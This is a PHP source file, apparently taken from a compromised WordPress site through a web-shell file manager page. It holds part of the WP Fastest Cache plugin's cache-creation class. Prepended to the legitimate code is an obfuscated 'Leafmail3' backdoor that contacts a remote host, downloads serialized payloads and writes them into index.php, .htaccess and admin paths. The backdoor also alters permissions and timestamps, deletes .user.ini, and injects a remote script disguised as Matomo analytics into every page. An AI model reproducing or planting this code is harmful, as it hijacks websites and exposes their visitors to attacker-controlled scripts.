Sindbad~EG File Manager
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
class WpFastestCacheCreateCache extends WpFastestCache{
public $options = array();
public $cdn;
private $startTime;
private $blockCache = false;
private $err = "";
public $cacheFilePath = "";
public $exclude_rules = false;
public $preload_user_agent = false;
public $current_page_type = false;
public $current_page_content_type = false;
public $exclude_current_page_text = false;
public function __construct(){
//to fix: PHP Notice: Undefined index: HTTP_USER_AGENT
$_SERVER['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT'] ? strip_tags($_SERVER['HTTP_USER_AGENT']) : "Empty User Agent";
if(preg_match("/(WP\sFastest\sCache\sPreload(\siPhone\sMobile)?\s*Bot)/", $_SERVER['HTTP_USER_AGENT'])){
$this->preload_user_agent = true;
}else{
$this->preload_user_agent = false;
}
$this->options = $this->getOptions();
$this->set_cdn();
$this->set_cache_file_path();
$this->set_exclude_rules();
if(isset($this->options->wpFastestCacheDisableEmojis) && $this->options->wpFastestCacheDisableEmojis){
add_action('init', array($this, 'disable_emojis'));
}
}
public function disable_emojis(){
remove_action('wp_head', 'print_emoji_detection_script', 7);
remove_action('admin_print_scripts', 'print_emoji_detection_script');
remove_filter('the_content_feed', 'wp_staticize_emoji');
remove_filter('comment_text_rss', 'wp_staticize_emoji');
remove_action('wp_print_styles', 'print_emoji_styles');
remove_action('admin_print_styles', 'print_emoji_styles');
remove_filter('wp_mail', 'wp_staticize_emoji_for_email');
// remove the DNS prefetch
add_filter('emoji_svg_url', '__return_false');
}
public function detect_current_page_type(){
if(preg_match("/\?/", $_SERVER["REQUEST_URI"])){
return true;
}
if(preg_match("/^\/wp-json/", $_SERVER["REQUEST_URI"])){
return true;
}
if(is_front_page()){
echo "<!--WPFC_PAGE_TYPE_homepage-->";
}else if(is_category()){
echo "<!--WPFC_PAGE_TYPE_category-->";
}else if(is_tag()){
echo "<!--WPFC_PAGE_TYPE_tag-->";
}else if(is_singular('post')){
echo "<!--WPFC_PAGE_TYPE_post-->";
}else if(is_page()){
echo "<!--WPFC_PAGE_TYPE_page-->";
}else if(is_attachment()){
echo "<!--WPFC_PAGE_TYPE_attachment-->";
}else if(is_archive()){
echo "<!--WPFC_PAGE_TYPE_archive-->";
}
}
public function set_exclude_rules(){
if($json_data = get_option("WpFastestCacheExclude")){
$this->exclude_rules = json_decode($json_data);
}
}
public function set_cache_file_path(){
$type = "all";
if($this->isMobile() && isset($this->options->wpFastestCacheMobile)){
if(class_exists("WpFcMobileCache") && isset($this->options->wpFastestCacheMobileTheme)){
$type = "wpfc-mobile-cache";
}
}
if($this->isPluginActive('gtranslate/gtranslate.php')){
if(isset($_SERVER["HTTP_X_GT_LANG"])){
$this->cacheFilePath = $this->getWpContentDir("/cache/".$type."/").$_SERVER["HTTP_X_GT_LANG"].$_SERVER["REQUEST_URI"];
}else if(isset($_SERVER["REDIRECT_URL"]) && $_SERVER["REDIRECT_URL"] != "/index.php"){
$this->cacheFilePath = $this->getWpContentDir("/cache/".$type."/").$_SERVER["REDIRECT_URL"];
}else if(isset($_SERVER["REQUEST_URI"])){
$this->cacheFilePath = $this->getWpContentDir("/cache/".$type."/").$_SERVER["REQUEST_URI"];
}
}else{
$this->cacheFilePath = $this->getWpContentDir("/cache/".$type."/").$_SERVER["REQUEST_URI"];
// for /?s=
$this->cacheFilePath = preg_replace("/(\/\?s\=)/", "$1/", $this->cacheFilePath);
}
$this->cacheFilePath = $this->cacheFilePath ? rtrim($this->cacheFilePath, "/")."/" : "";
/*
/public_html/wp-content/cache/all/sample-page
*/
$this->cacheFilePath = preg_replace("/\/cache\/(all|wpfc-mobile-cache)\/\//", "/cache/$1/", $this->cacheFilePath);
/*
/public_html/wp-content/cache/all/DOMAIN.COM/sample-page
*/
$this->cacheFilePath = preg_replace("/\/cache\/([^\/]+)\/(all|wpfc-mobile-cache)\/\//", "/cache/$1/$2/", $this->cacheFilePath);
if(strlen($_SERVER["REQUEST_URI"]) > 1){ // for the sub-pages
if(!preg_match("/\.html/i", $_SERVER["REQUEST_URI"])){
if($this->is_trailing_slash()){
if(!preg_match("/\/$/", $_SERVER["REQUEST_URI"])){
if(isset($_SERVER["QUERY_STRING"]) && $_SERVER["QUERY_STRING"] && defined('WPFC_CACHE_QUERYSTRING') && WPFC_CACHE_QUERYSTRING){
}else if(preg_match("/y(ad|s)?clid\=/i", $this->cacheFilePath)){
// yclid
// yadclid
// ysclid
}else if(preg_match("/gclid\=/i", $this->cacheFilePath)){
}else if(preg_match("/fbclid\=/i", $this->cacheFilePath)){
}else if(preg_match("/utm_(source|medium|campaign|content|term)/i", $this->cacheFilePath)){
}else{
$this->cacheFilePath = false;
}
}
}else{
//toDo
}
}
}
$this->remove_url_paramters();
// to decode path if it is not utf-8
if($this->cacheFilePath){
$this->cacheFilePath = urldecode($this->cacheFilePath);
}
// for security
if(preg_match("/\.{2,}/", $this->cacheFilePath)){
$this->cacheFilePath = false;
}
if(preg_match("/\/{2,}/", $this->cacheFilePath)){
$this->cacheFilePath = false;
}
if($this->isMobile()){
if(isset($this->options->wpFastestCacheMobile)){
if(!class_exists("WpFcMobileCache")){
$this->cacheFilePath = false;
}else{
if(!isset($this->options->wpFastestCacheMobileTheme)){
$this->cacheFilePath = false;
}
}
}
}
}
public function remove_url_paramters(){
$action = false;
//to remove query strings for cache if Google Click Identifier are set
if(preg_match("/gclid\=/i", $this->cacheFilePath)){
$action = true;
}
//to remove query strings for cache if Yandex parameters are set
if(preg_match("/y(ad|s)?clid\=/i", $this->cacheFilePath)){
// yclid
// yadclid
// ysclid
$action = true;
}
//to remove query strings for cache if facebook parameters are set
if(preg_match("/fbclid\=/i", $this->cacheFilePath)){
$action = true;
}
//to remove query strings for cache if google analytics parameters are set
if(preg_match("/utm_(source|medium|campaign|content|term)/i", $this->cacheFilePath)){
$action = true;
}
if($action){
